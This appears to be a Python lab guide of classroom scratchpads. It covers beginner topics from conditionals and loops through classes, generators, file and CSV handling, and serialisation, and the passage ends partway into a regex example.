Lab guidePython

Python June 02/06/2023

Last updated 5 December 2023

Python June 02/06/2023

Scratchpad #1

# # print("Please enter amount in USD")
# usd = float(input("Please enter amount in USD: "))
# # usd = float(usd)
# inr = usd * 82.12

# print(f"${usd} is Rs. {inr}")

# city = input("Enter the city you are from: ")

# if city == "mumbai":
#     print("That is great city")
# elif city == "pune":
#     print("That is another great city")
# elif city == "delhi":
#     print("Please get out")
# else:
#     print("That's an unknown city")

age = int(input("Please enter your age: "))

if age >= 65:
    print("Drink are free")
elif age >= 21:
    print("You can enter and you can drink")
elif age >= 18:
    print("You can enter, but can't drink")
else:
    print("You are not allowed")

Scratchpad #2

# # logged_in_user = None

# # if logged_in_user:
# #     print("Welcome")
# # else:
# #     print("Please log in to continue")

# # age = int(input("Please enter your age: "))

# # if age >= 18 and age < 21:
# #     print("You can enter, but can't drink")
# # elif age >= 21 and age < 65:
# #     print("You can enter and you can drink")
# # elif age >= 65:
# #     print("Drink are free")
# # else:
# #     print("You are not allowed")

# # age = input("Please enter your age: ")

# # if age:
# #     age = int(age)
# #     if age >= 18 and age < 21:
# #         print("You can enter, but can't drink")
# #     elif age >= 21 and age < 65:
# #         print("You can enter and you can drink")
# #     elif age >= 65:
# #         print("Drink are free")
# #     else:
# #         print("You are not allowed")
# # else:
# #     print("Please enter a value")

# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")

# if player1 == player2:
#     print("DRAW")
# elif ((player1 == "rock" and player2 == "scissors")
#       or (player1 == "paper" and player2 == "rock")
#       or (player1 == "scissors" and player2 == "paper")):
#     print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissors")
#       or (player2 == "paper" and player1 == "rock")
#       or (player2 == "scissors" and player1 == "paper")):
#     print("Player 2 wins")
# else:
#     print("Invalid value")

# message = "hello world"

# for char in message:
#     print(char)

for num in range(10, 0, -2):
    print(num)

Scratchpad #3

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print(f"{num} - FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 == 1:
#         print(f"{num} - Fizz is odd")

# password = input("Please enter your password: ")

# while password != "helloworld":
#     if password == 'quit':
#         break
#     print("Sorry, that is incorrect.")
#     password = input("Please enter your password again: ")

# password = input("Please enter your password: ")

# while True:
#     if password == "helloworld":
#         break
#     print("Sorry, that is incorrect.")
#     password = input("Please enter your password again: ")

# while True:
#     player1 = input("Enter player 1's choice: ")
#     player2 = input("Enter player 2's choice: ")

#     if player1 == player2:
#         print("DRAW")
#     elif ((player1 == "rock" and player2 == "scissors")
#           or (player1 == "paper" and player2 == "rock")
#           or (player1 == "scissors" and player2 == "paper")):
#         print("Player 1 wins")
#     elif ((player2 == "rock" and player1 == "scissors")
#           or (player2 == "paper" and player1 == "rock")
#           or (player2 == "scissors" and player1 == "paper")):
#         print("Player 2 wins")
#     else:
#         print("Invalid value")

#     play_again = input("Do you want to play again (y/n): ")

#     if play_again != 'y':
#         break

# print("Thank you for playing.")

tasks = ""

while True:
    todo = input("Please write a task: ")
    if todo == 'quit':
        break
    tasks = tasks + "|" + todo

print("These are your tasks!")
print(tasks)

Scratchpad #4

# nums = [1, 2, True, 4, 5, 6]

# # for num in nums:
# #     print(num)

# count = 0

# while count < len(nums):
#     print(nums[count])
#     count += 1

# nums = [1, 2, 3, 4, 5, 6]

# doubles = []

# for num in nums:
#     doubles.append(num * 2)

# print(doubles)

names = [
    "john", "jack", "jill", "jane", "riya", "ben", "david", "eric", "otis"
]

upper_names = [name[::-1].upper() for name in names]
# ["NHOJ" for "john" in names]

# upper_names = []

# for name in names:
#     upper_names.append(name.upper())

print(upper_names)

Scratchpad #5

# # nums = [1, 2, 3, 4, 5, 6]

# # doubles = [num * 2 for num in nums if num % 2 == 0] # map

# # print(doubles)

# names = [
#     "john", "jack", "jill", "jane", "riya", "ben", "david", "eric", "otis"
# ]

# # result = [name for name in names if len(name) > 4]
# # result = [name.upper() for name in names if len(name) > 4]  # filter

# # result = [name.upper() if len(name) == 4 else name for name in names]

# # print(result)

# # # result = "".join([char for char in "Hello World" if char not in "aeiou"])

# # print(result)

# # result = [char for char in "Hello World" if char not in "aeiou"]

# # result = []

# # for char in "Hello World":
# #     if char not in "aeiou":
# #         result.append(char)

# # print(result)

# # nums = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11]]

# # for row in nums:  # [4, 5, 6]
# #     for num in row:
# #         print(num)

# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# # result = [[print(col) for col in row] for row in nested_list]

# # # print(result)

# # val = print("hello")
# # print("THIS IS THE VALUE OF 'val' => ", val)

# # result = [['X' if n % 2 == 1 else 'O' for n in range(1, 4)] for _ in range(3)]
# # [[1,2,3], [1,2,3], [1,2,3]]

# # print(result)

# result = []

# for _ in range(3):
#     row = []  # ['X', 'O', 'X']

#     for n in range(1, 4): # n = 3
#         if n % 2 == 1:
#             row.append('X')
#         else:
#             row.append('O')

#     result.append(row)

# print(result)

product = [
    "iPhone 14 pro max", "Apple", "Some description...", 200, 150000, True,
    "https://image_url"
]

print(product[4])

product = {
    "brand": "Apple",
    "desc": "Some description...",
    "name": "iPhone 14 pro max",
    "in_stock": [1, 2, 3, 4, 5],
    "discounted": {
        "hello": "world",
        "test": "text"
    },
    "image_url": "----",
    "price": 150000,
    1000: "Hello world"
}

print(product["discounted"])
print(product[1000])

Scratchpad #6

product = {
    "name": "AMD Ryzen Threadripper 3990X",
    "no_of_cores": 64,
    "no_of_threads": 128,
    "unlocked": True,
    "memory_type": "DDR4",
    "price": 333999.00,
}

# print(product.items())

for k, v in product.items():
    print(k)
    print(v)
    print()

# for item in product.items():
#     print(item[0], item[1])

# for key in product:
#     print(key)

# for key in product.keys():
#     print(key, product[key])

# for value in product.values():
#     print(value)

Scratchpad #7

def greet():
    return "Hello World"


result = greet()
print(result)

Scratchpad #8

# # def greet():
# #     return "Hello"

# # print(greet())

# # from random import random

# # random

# # def flip_coin():
# #     num = random()

# #     if num > 0.5:
# #         return "HEADS"
# #     else:
# #         return "TAILS"

# # print(flip_coin())

# # def add(num1, num2):
# #     return num1 + num2

# # num1 = int(input("Enter a number: "))
# # num2 = int(input("Enter another number: "))

# # print(add(num1, num2))

# # print(add(10, 8))
# # print(add(10, 5))

# # def print_profile(first_name, last_name, age):
# #     print(
# #         f"Hello, my name is {first_name} {last_name} and I am {age} years old."
# #     )

# # print_profile("John", "Doe", 20)

# # def sum_odd_numbers(numbers):
# #     total = 0
# #     for num in numbers:
# #         if num % 2 != 0:
# #             total += num
# #     return total

# # print(sum_odd_numbers([1, 2, 3, 4, 5, 6, 7, 8, 9]))

# # def add(num1, num2):
# #     return num1 + num2

# # print(add(10))

# # def greet():
# #     return "hello world"

# # hello = greet

# # print(hello())

# # def add(a, b):
# #     return a + b

# # def sub(a, b):
# #     return a - b

# # def mul(a, b):
# #     return a * b

# # def div(a, b):
# #     return a / b

# # def math(a, b, fn=add):
# #     return fn(a, b)

# # print(math(10, 5, add))

# # # math = [add, sub, mul, div]
# # math = {"add": add, "sub": sub}

# # print(math["sub"](10, 4))

# # def print_fullname(first_name, last_name=""):
# #     return f"Hello my name is {first_name} {last_name}"

# # print(print_fullname(last_name="Doe", first_name="John"))

# # GLOBAL SCOPE
# # full_name = "John Doe"

# # def greet():
# #     # LOCAL SCOPE
# #     full_name = "Jane Smith"
# #     print(full_name)

# # greet()
# # print(full_name)

# total = 0

# def greet():
#     global total
#     total += 5

# greet()
# print(total)

Scratchpad #9

# # total = 0

# # def increment():
# #     global total
# #     total += 1

# # increment()
# # print(total)

# # def outer():
# #     total = 0

# #     def inner():
# #         nonlocal total
# #         total += 10
# #         print("Inside inner(): ", total)

# #     inner()

# # outer()

# def greet(first_name, last_name):
#     """Function that accepts your name and greets you and prints it
#     @param first_name: str
#     @param last_name: str
#     @returns void
#     """
#     print(f"Hello my name is, {first_name} {last_name}")

# # print(greet.__doc__)
# # help(greet)
# print("".upper.__doc__)

# from random import random

import random
from pprint import pprint

SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
RANK_TUPLE = (
    "Ace",
    "2",
    "3",
    "4",
    "5",
    "6",
    "7",
    "8",
    "9",
    "10",
    "Jack",
    "Queen",
    "King",
)

NCARDS = 8


def get_card(deck_list_in):
    this_card = deck_list_in.pop()
    return this_card


def shuffle(deck_list_in):
    deck_list_out = deck_list_in.copy()
    random.shuffle(deck_list_out)
    return deck_list_out


print("Welcome to higher or lower")
print(
    "You have to choose whether the next card to be shown will be higher or lower than the current card."
)
print(
    "Getting it right adds 20 points; get it wrong and you will lose 15 points"
)
print("You have to 50 points to start")
print()

starting_deck_list = []
for suit in SUIT_TUPLE:
    for this_value, rank in enumerate(RANK_TUPLE):
        card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
        starting_deck_list.append(card_dict)

score = 50

while True:
    game_deck_list = shuffle(starting_deck_list)
    current_card_dict = get_card(game_deck_list)
    current_card_rank = current_card_dict["rank"]
    current_card_value = current_card_dict["value"]
    current_card_suit = current_card_dict["suit"]
    print(f"Starting card is {current_card_rank} of {current_card_suit}")
    print()

    for card_number in range(0, NCARDS):
        answer = input(
            f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
        )
        answer = answer.casefold()
        next_card_dict = get_card(game_deck_list)
        next_card_rank = next_card_dict["rank"]
        next_card_value = next_card_dict["value"]
        next_card_suit = next_card_dict["suit"]
        print(f"Next card is {next_card_rank} of {next_card_suit}")

        if answer == "h":
            if next_card_value > current_card_value:
                print("You got it right, it was higher")
                score += 20
            else:
                print("Sorry, it was not higher")
                score -= 15
        elif answer == 'l':
            if next_card_value < current_card_value:
                print("You got it right, it was lower")
                score += 20
            else:
                print("Sorry, it was not lower")
                score -= 15

        print(f"Your score is {score}")
        print()
        current_card_rank = next_card_rank
        current_card_suit = next_card_suit
        current_card_value = next_card_value

    go_again = input("To play again, press ENTER, or 'q' to quit: ")
    if go_again == "q":
        break

print("Thank you for playing")

Scratchpad #10

# # # def add(*nums):
# # #     total = 0
# # #     for num in nums:
# # #         total += num
# # #     return total

# # # print(add(10, 20))

# # # def profile(**data):
# # #     print(data)

# # # profile(first_name="John", last_name="Doe", age=20)

# # # def show_info(a, b, *args, role="moderator", **kwargs):
# # #     print(a, b, args, role, kwargs)

# # # show_info(10,
# # #           20,
# # #           30,
# # #           40,
# # #           50,
# # #           60,
# # #           first_name="John",
# # #           last_name="Doe",
# # #           role="admin")

# # def add(*nums):
# #     total = 0
# #     for num in nums:
# #         total += num
# #     return total

# # user_input = input("Enter several numbers separated by a space: ")
# # input_list = user_input.split(" ")
# # input_nums = [int(val) for val in input_list]

# # print(add(*input_nums))

# # # data = [10, 20, 30]
# # # print(add(data[0], data[1], data[2]))

# # def say_name(first, last):
# #     print(f"My name is {first} {last}.")

# # # say_name("John", "Doe")
# # # say_name(first="John", last="Doe")

# # name = {"first": "Robert", "last": "Moore"}

# # say_name(name["first"], name["last"])
# # say_name(first=name["first"], last=name["last"])
# # say_name(**name)

# # def add(a, b):
# #     return a + b

# # hello = add

# # print(hello(10, 4))

# def math(a, b, fn):
#     return fn(a, b)

# # def add(a, b):
# #     return a + b

# # add = lambda a, b: a + b

# print(math(10, 5, lambda a, b: a + b))
# print(math(10, 5, lambda a, b: a - b))
# print(math(10, 5, lambda a, b: a / b))
# print(math(10, 5, lambda a, b: a * b))

nums = list(range(10))

# doubles = [num * 2 for num in nums]
# doubles = map(lambda n: n * 2, nums)
# print(tuple(doubles))

# evens = [num for num in nums if num % 2 == 0]
evens = filter(lambda n: n % 2 == 0, nums)

print(list(evens))

Scratchpad #11

# def append(lst, *vals):
#     lst_copy = lst[::]
#     lst_copy.extend(vals)
#     return lst_copy

# my_list = [1, 2, 3, 4]

# append(my_list, 10, 20, 30, 40)

# print(my_list)


def colorize(text, color):
    colors = ('red', 'yellow', 'green', 'white', 'blue')

    if type(text) is not str or type(color) is not str:
        raise TypeError("Text and color has to be a string")

    if color not in colors:
        raise ValueError("This color is not acceptable")

    print(f"{text} in {color}")


colorize(100, "kachwa color")

Scratchpad #12

# class User:

#     def __init__(self, first_name, last_name, age, email, phone, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.age = age
#         self.email = email
#         self.phone = phone
#         self.password = password

#     def login(self, passwd):
#         if passwd == self.password:
#             print("Welcome to the app.")
#             return True
#         print("Sorry, incorrect password.")
#         return False

#     def logout(self):
#         print("You have logged out.")
#         return True

#     def create_post(self, image_url, description):
#         print(f"{image_url} - {description}: CREATED")

# def user(first_name, last_name, age, email, phone, password):

#     def login(passwd):
#         if passwd == password:
#             print("Welcome to the app.")
#             return True
#         print("Sorry, incorrect password.")
#         return False

#     def logout():
#         print("You have logged out.")
#         return True

#     def create_post(image_url, description):
#         print(f"{image_url} - {description}: CREATED")

#     return {
#         "first_name": first_name,
#         "last_name": last_name,
#         "email": email,
#         "age": age,
#         "phone": phone,
#         "login": login,
#         "logout": logout,
#         "create_post": create_post
#     }

# john = user("John", "Doe", 20, "john@gmail.com", "+91 9822365436",
#             "testpass@123")
# jane = User("Jane", "Smith", 22, "jane@gmail.com", "_92 6543324567", "test123")

# # print(john["first_name"])
# # print(jane.first_name)
# # print(john["email"])
# # print(jane.email)
# # print(john["login"]("testpass@123"))
# # print(jane.login("test123"))

# # print(john["first_name"])
# # print(john["last_name"])
# # print(john["login"]("testpass@123"))
# # print(john["logout"]())

# # print(type(john))
# # print(type(jane))

# def make_user(first_name, last_name, age, email, phone, password):
#     return {
#         "first_name": first_name,
#         "last_name": last_name,
#         "email": email,
#         "age": age,
#         "phone": phone,
#         "password": password
#     }

# def login(user, passwd):
#     if user["password"] == passwd:
#         print("Welcome to the app.")
#         return True
#     print("Sorry, incorrect password.")
#     return False

# def logout(user):
#     print(f"{user['first_name']}: You have logged out.")
#     return True

# jack = make_user("Jack", "Roe", 30, "jack@gmail.com", "+91 9823365436",
#                  "testpass")

# # print(jack["first_name"])
# login(jack, "testpass")

# "hello".upper()

# upper("hello")

a = [1, 2, 3]
a.extend([10, 20, 30])

Scratchpad #13

# def capitalize(words):
#     words_split = words.split(' ')
#     capitalized_list = []
#     for word in words_split:
#         capitalized_list.append(word.capitalize())
#     return " ".join(capitalized_list)

# def capitalize(words):
#     return " ".join([word.capitalize() for word in words.split(" ")])

# print(capitalize("hello world this is something"))


def swap_vals(lst, idx1, idx2):
    lst[idx1], lst[idx2] = lst[idx2], lst[idx1]

Scratchpad #14

# def user(first_name, last_name, age, email, phone, password):

#     def get_password(self):
#         return self["_age"]

#     self = {}
#     self["first_name"] = first_name
#     self["last_name"] = last_name
#     self["_age"] = age
#     self["email"] = email
#     self["phone"] = phone
#     self["password"] = password
#     self["get_password"] = get_password

#     return self

# jack = user("Jack", "Smith", 22, "jack@gmail.com", "+91 98233456677",
#             "testpass123")
# print(jack["get_password"](jack))
# # print(jack)

import random


class User:
    country = "India"
    total_users = 0
    active_users = 0

    def __init__(self, first_name, last_name, age, email, phone):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.email = email
        self.phone = phone
        self._password = User.generate_password(16)
        self.city = "Mumbai"
        User.total_users += 1

    def __repr__(self):
        return self.first_name + " " + self.last_name

    @classmethod
    def get_total_users(cls):
        return cls.total_users

    @classmethod
    def generate_password(cls, length=8):
        chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^*()+-"
        password = ""
        for _ in range(length):
            password += random.choice(chars)
        return password

    def print_full_name(self):
        print(f"{self.first_name} {self.last_name}")

    def get_age(self):
        return self._age

    def set_age(self, new_age):
        if new_age < 18 or new_age > 100:
            raise ValueError("Invalid age")
        self._age = new_age
        return self._age

    def login(self, password):
        if password != self._password:
            raise ValueError("Incorrect password")
        User.active_users += 1
        return True

    def logout(self):
        User.active_users -= 1
        return True


john = User("John", "Doe", 20, "john@gmail.com", "+91 98233456677")
jane = User("Jane", "Smith", 23, "jane@gmail.com", "1231233")

print(john)
print(jane)

# print(john._password)

# print(User.get_total_users())

# print(User.generate_password(12))

# jane.login("123213wwsd")
# john.login("testpass")
# jane.logout()

# print("Total Users:", User.total_users)
# print("Active Users:", User.active_users)

# jane.print_full_name()
# john.print_full_name()

# print(john._password)
# print(john.city)

# # john._age = 50
# john.set_age(400)
# print(john.get_age())

# # john.last_name = "Smith"
# # print(john.last_name)

Scratchpad #15

import random


class User:
    country = "India"
    total_users = 0
    active_users = 0

    def __init__(self, first_name, last_name, age, email, phone):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.email = email
        self.phone = phone
        self._password = User.generate_password(16)
        self.city = "Mumbai"
        User.total_users += 1

    def __repr__(self):
        return self.first_name + " " + self.last_name

    @property
    def age(self):
        return self._age

    @age.setter
    def age(self, new_age):
        if new_age < 18 or new_age > 100:
            raise ValueError("Invalid age")
        self._age = new_age
        return True

    # def get_age(self):
    #     return self._age

    # def set_age(self, new_age):
    #     if new_age < 18 or new_age > 100:
    #         raise ValueError("Invalid age")
    #     self._age = new_age
    #     return self._age

    @classmethod
    def get_total_users(cls):
        return cls.total_users

    @classmethod
    def generate_password(cls, length=8):
        chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^*()+-"
        password = ""
        for _ in range(length):
            password += random.choice(chars)
        return password

    def print_full_name(self):
        print(f"{self.first_name} {self.last_name}")

    def login(self, password):
        if password != self._password:
            raise ValueError("Incorrect password")
        User.active_users += 1
        return True

    def logout(self):
        User.active_users -= 1
        return True


class Admin(User):

    def __init__(self, first_name, last_name, age, email, phone):
        super().__init__(first_name, last_name, age, email, phone)
        self.groups = []

    def logout(self):
        print("You have logged out")
        return True

    def create_group(self, group):
        self.groups.append(group)


john = User("John", "Doe", 20, "john@gmail.com", "+91 9723454564")
jane = Admin("Jane", "Smith", 20, "jane@gmail.com", "+91 97212342564")

# john.age = 102
# print(john.age)
print(jane.groups)

# john.age = 102
# print(john.age)

# john.set_age(102)
# print(john.get_age())

# print(john)
# print(jane)
# print(john.get_age())
# print(jane.get_age())

# john.logout()

# john.create_group("DOPD")
# jane.create_group("PODP")
# print(Admin.groups)

Scratchpad #16

# # class Animal:

# #     def __init__(self, name):
# #         self.name = name

# #     def greet(self):
# #         return "asldk;jaskldj"

# # class Human:

# #     def __init__(self, name):
# #         self.name = name

# #     def greet(self):
# #         return "Hello World"

# # class Mutant(Animal, Human):
# #     pass

# # john = Human("John Doe")
# # dog = Animal("Dawg")
# # rogue = Mutant("Rogue")

# # # print(john.greet())
# # # print(dog.greet())
# # print(help(rogue))

# class User:

#     def __init__(self, first_name, last_name, email, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.email = email
#         self.age = age

#     def __len__(self):
#         return self.age

#     def __add__(self, obj):
#         return User("New Born", None, None, 0)

#     def __repr__(self):
#         return self.first_name

#     def __lt__(self, user):
#         return self.age < user.age

#     def greet(self):
#         return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# class Admin(User):

#     def greet(self):
#         return "How are you?"

# john = User("John", "Roe", "johnroe@gmail.com", 25)
# jane = Admin("Jane", "Doe", "jane@gmail.com", 22)

# print(john < jane)

# # print(john.greet())
# # print(jane.greet())

# # print(len(john))

# class Animal():

#     def speak(self):
#         raise NotImplementedError("Subclass needs to implement this method")

# class Dog(Animal):

#     def speak(self):
#         return "bark"

# class Cat(Animal):

#     def speak(self):
#         return "meow"

# t1 = Animal()
# t1.speak()

# def test(collection):
#     ic = iter(collection)

#     while True:
#         try


def colorize(text, color):
    colors = ('red', 'yellow', 'green', 'white', 'blue')

    if type(text) is not str or type(color) is not str:
        raise TypeError("Text and color has to be a string")

    if color not in colors:
        raise ValueError("This color is not acceptable")

    return f"{text} in {color}"


# colorize("hello", "jasdhjasd")

# try:
#     colorize("hello", "jasdhjasd")
# # except:
# #     print("Something went wrong")
# # except TypeError as err:
# #     print("Something went wrong")
# #     print(err)
# # except (ValueError, TypeError) as err:
# #     print("Something went wrong")
# #     print(err)
# # except Exception as err:
# #     print("Something went wrong")
# #     print(err)
# except Exception as err:
#     print(type(err).__name__)

# # try:
# #     colorize("hello", "jasdhjasd")
# # except (ValueError, TypeError) as err:
# #     print("Something went wrong")
# #     print(err)

# print("This is after everything")

try:
    result = colorize("hello", "asdasdasd")
except Exception as err:
    print(err)
else:
    print("THE IS THE ANSWER ->", result)
finally:
    print("THIS WILL ALWAYS RUN, WHETHER SUCCESS OR FAILURE")

Scratchpad #17

# def my_for(iterable):
#     iterator = iter(iterable)
#     while True:
#         try:
#             print(next(iterator))
#         except StopIteration:
#             break

# my_for("hello world")
# for char in "hello world":
#     print(char)

# range(0, 10)

# class Counter:

#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __repr__(self):
#         return f"Counter({self.start}, {self.end})"

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration

# # print(Counter(0, 10))

# # print(range(0, 10))

# # for num in range(0, 10):
# #     print(num)

# c = Counter(0, 101, 10)
# for num in c:
#     print(num)

# def count_up_to(start, end, step=1):
#     count = start
#     while count < end:
#         yield count
#         count += step

# count = count_up_to(0, 10, 2)
# for num in count:
#     print(num)

# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums

# a = fib_list(100000000)
# for num in a:
#     print(num)

# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1

# a = fib_gen(100000000)
# for num in a:
#     print(num)

import time

gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_stop = time.time() - gen_start_time

list_start_time = time.time()
print(sum([num for num in range(100000000)]))
list_stop = time.time() - list_start_time

print(f"Generator took: {gen_stop}")
print(f"List comp took: {list_stop}")

Scratchpad #18

# # # # def math(a, b, fn):
# # # #     return fn(a, b)

# # # # def add(a, b):
# # # #     return a + b

# # # # print(math(10, 5, add))
# # # # print(math(20, 10, lambda a, b: a - b))

# # # def sum(n, fn):
# # #     total = 0
# # #     for num in range(1, n + 1):
# # #         total += fn(num)
# # #     return total

# # # print(sum(5, lambda num: num * 2))

# # # import random

# # # def greet(person):

# # #     def get_mood():
# # #         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# # #         msg = random.choice(mood)
# # #         return msg

# # #     result = f"{get_mood()} {person}"
# # #     return result

# # # print(greet("John"))

# # import random

# # def make_greet_func(person):

# #     def make_message():
# #         msg = random.choice(
# #             ["Hello", "What!", "What the heck do you want!", "Get lost!"])
# #         return f"{msg} {person}"

# #     return make_message

# # result = make_greet_func("Jane")

# # print(result())

# # def stars(fn):

# #     def wrapper():
# #         print("*" * 10)
# #         fn()
# #         print("*" * 10)

# #     return wrapper

# # @stars
# # def say_hello(person):
# #     print(f"Hello World {person}")

# # # say_hello = stars(say_hello)

# # say_hello("John")

# # def make_upper_case(fn):

# #     def wrapper(*args, **kwargs):
# #         return fn(*args, **kwargs).upper()

# #     return wrapper

# # @make_upper_case  # say_hello = make_upper_case(say_hello)
# # def say_hello(person):
# #     return f"Hello {person}"

# # @make_upper_case
# # def say_hello_again(person, message):
# #     return f"{message} {person}"

# # print(say_hello("Jill"))
# # print(say_hello_again("john", "hi"))

# from functools import wraps

# def stars(fn):
#     """Decorator function that wraps a printed *s around it"""

#     @wraps(fn)
#     def wrapper(*args, **kwargs):
#         """Wrapper function"""
#         print("*" * 10)
#         fn(*args, **kwargs)
#         print("*" * 10)

#     return wrapper

# @stars
# def say_hello(person):
#     """Function that takes the name of a person and says hello"""
#     print(f"Hello {person}")

# # say_hello("Jane")
# print(say_hello.__name__)
# print(say_hello.__doc__)

###### Bank
## Attributes
# name: str, phone: [str], email: str, address: str, ifsc: str, branch: str
# customer_list: [Customer]
## Methods
# create_customer(first_name, middle_name, last_name, phone, address, email, balance) -> Customer  [add it to the customer_list attribute]
# delete_customer(account_no)
# find_customer_by_email()
# find_customer_by_account_no()
# find_customer(email="john@gmail.com")

# Customer
## Attributes
# first_name: str, middle_name: str, last_name: str, phone: str, address: str, account_no: str, email: str, balance: float, bank: Bank, dob: str (d/m/y)
## Methods
# edit_details(), deposit(), withdraw(), check_balance(),

# sbi = Bank()
# john = sbi.create_customer()

Scratchpad #19

# file = open("hello.txt")
# print(file.read())
# file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print("File closed: ", file.closed)

# with open("hello.txt", "w") as file:
#     file.write("Hello world\n")
#     file.write("This is another line.\n\n")

# with open("hello.txt", "a") as file:
#     file.write("\n\nHello world\n")
#     file.write("This is another line.\n\n")

# with open("hello.txt", "r+") as file:
#     file.write("Hello world! ")
#     file.write("This is another line")
#     file.seek(0)
#     file.write("HELLLLLLLO")

# with open("hello.txt", "r") as file:
#     data = file.read()

# data = data.upper()

# with open("hello.txt", "w") as file:
#     file.write(data)

# with open("hello.csv") as file:
#     print(file.readlines())

# from csv import reader, DictReader

# # with open("hello.csv") as file:
# #     csv_data = reader(file)

# #     for row in csv_data:
# #         print(row)

# with open("hello.csv") as file:
#     csv_data = DictReader(file, delimiter="|")

#     for row in csv_data:
#         print(row)

from csv import writer

with open("hello.csv", "a", newline="") as file:
    csv_writer = writer(file)
    csv_writer.writerow(["James", "Mac", "james@gmail.com", 1234567890])
    csv_writer.writerow(
        ["Test", "Person", "test@gmail.com", 1234567890, "hello world"])

Scratchpad #20

# # # class Bank:

# # #     def __init__(self, name, address, phone):
# # #         self.name = name
# # #         self.address = address
# # #         self.phone = phone
# # #         self.customers = []

# # #     def create_customer(self, first_name, last_name, phone):
# # #         cus = Customer(first_name, last_name, phone)
# # #         self.customers.append(cus)
# # #         return cus

# # # class Customer:

# # #     def __init__(self, first_name, last_name, phone):
# # #         self.first_name = first_name
# # #         self.last_name = last_name
# # #         self.phone = phone

# # # sbi = Bank("State Bank of India", "Some address", "+91 022 2345456234")

# # # john = sbi.create_customer("John", "Doe", "+91 9218937912")

# # # print(john)

# # # from csv import writer, DictWriter

# # # with open("hello.csv", "w", newline="") as file:
# # #     csv_writer = writer(file)
# # #     csv_writer.writerow(["first_name", "last_name", "age"])
# # #     csv_writer.writerow(["John", "Doe", 20])
# # #     csv_writer.writerow(["Jane", "Smith", 25])

# # # with open("hello.csv", "w", newline="") as file:
# # #     headers = ["first_name", "last_name", "age"]
# # #     csv_writer = DictWriter(file, fieldnames=headers)
# # #     csv_writer.writeheader()
# # #     csv_writer.writerow({
# # #         "last_name": "Smith",
# # #         "first_name": "Jack",
# # #         "age": 20
# # #     })
# # #     csv_writer.writerow({"first_name": "Jane", "last_name": "Doe", "age": 22})
# # #     csv_writer.writerow({
# # #         "first_name": "James",
# # #         "last_name": "Marsden",
# # #         "age": 30
# # #     })
# # #     csv_writer.writerow({"first_name": "Test", "last_name": "User", "age": 18})

# # import pickle

# # class User:

# #     def __init__(self, first_name, last_name, age):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self.age = age

# #     def __repr__(self):
# #         return self.first_name + " " + self.last_name

# #     def greet(self):
# #         return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# # # user1 = User("John", "Doe", 20)
# # # user2 = User("Jane", "Doe", 25)
# # # user1.last_name = "Smith"

# # # print(user2.greet())

# # # with open("users_data.pickle", "wb") as file:
# # #     pickle.dump((user1, user2), file)

# # with open("users_data.pickle", "rb") as file:
# #     u1, u2 = pickle.load(file)
# #     print(u1, u2)

# class Bank:

#     def __init__(self, name, address, phone):
#         self.name = name
#         self.address = address
#         self.phone = phone
#         self.customers = []

#     def create_customer(self, first_name, last_name, phone):
#         cus = Customer(first_name, last_name, phone)
#         self.customers.append(cus)
#         return cus

# class Customer:

#     def __init__(self, first_name, last_name, phone):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.phone = phone

# sbi = Bank("State Bank of India", "Some address", "+91 022 2345456234")

# while True:
#     first_name = input("Enter your first name: ")
#     last_name = input("Enter your last name: ")
#     phone = input("Enter your phone no: ")

#     sbi.create_customer(first_name, last_name, phone)
#     print("Customer created successfully")

#     answer = input(
#         "What do you want to do next?\na) Add new customer\nb) Display customer list\nc) Exit\nYour choice: "
#     )

#     if answer == 'b':
#         for customer in sbi.customers:
#             print(f"{customer.first_name} {customer.last_name}")
#     elif answer == 'c':
#         break

#     # answer = input("Want to add a another customer? (y/n): ")
#     # if (answer == 'n'):
#     #     break

# print(sbi.customers)

# # import json
# import jsonpickle

# class User:

#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.age = age

#     def __repr__(self):
#         return self.first_name + " " + self.last_name

#     def greet(self):
#         return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# # user1 = User("John", "Doe", 20)
# # user2 = User("Jane", "Doe", 25)

# # print(user1.__dict__)
# # print(json.dumps(user1.__dict__))

# # with open("users.json", "w") as file:
# #     users_data = jsonpickle.encode([user1, user2])
# #     file.write(users_data)

# with open("users.json") as file:
#     contents = file.read()
#     data = jsonpickle.decode(contents)
#     print(data)

# from csv import reader

# with open("hello.csv") as file:
#     csv_reader = reader(file)
#     print(list(csv_reader))

with open("hello.csv") as file:
    data = file.readlines()
    data = [item.replace("\n", "") for item in data]
    data = [item.split(",") for item in data]
    print(data)

Scratchpad #21

# # import re

# # pattern = re.compile(r"\+?91\s?\d{10}")

# # result = pattern.search(
# #     "Call us today on +91 9876654321 or +919876654567 and get started.")
# # print(result.group())
# # # result = pattern.findall(
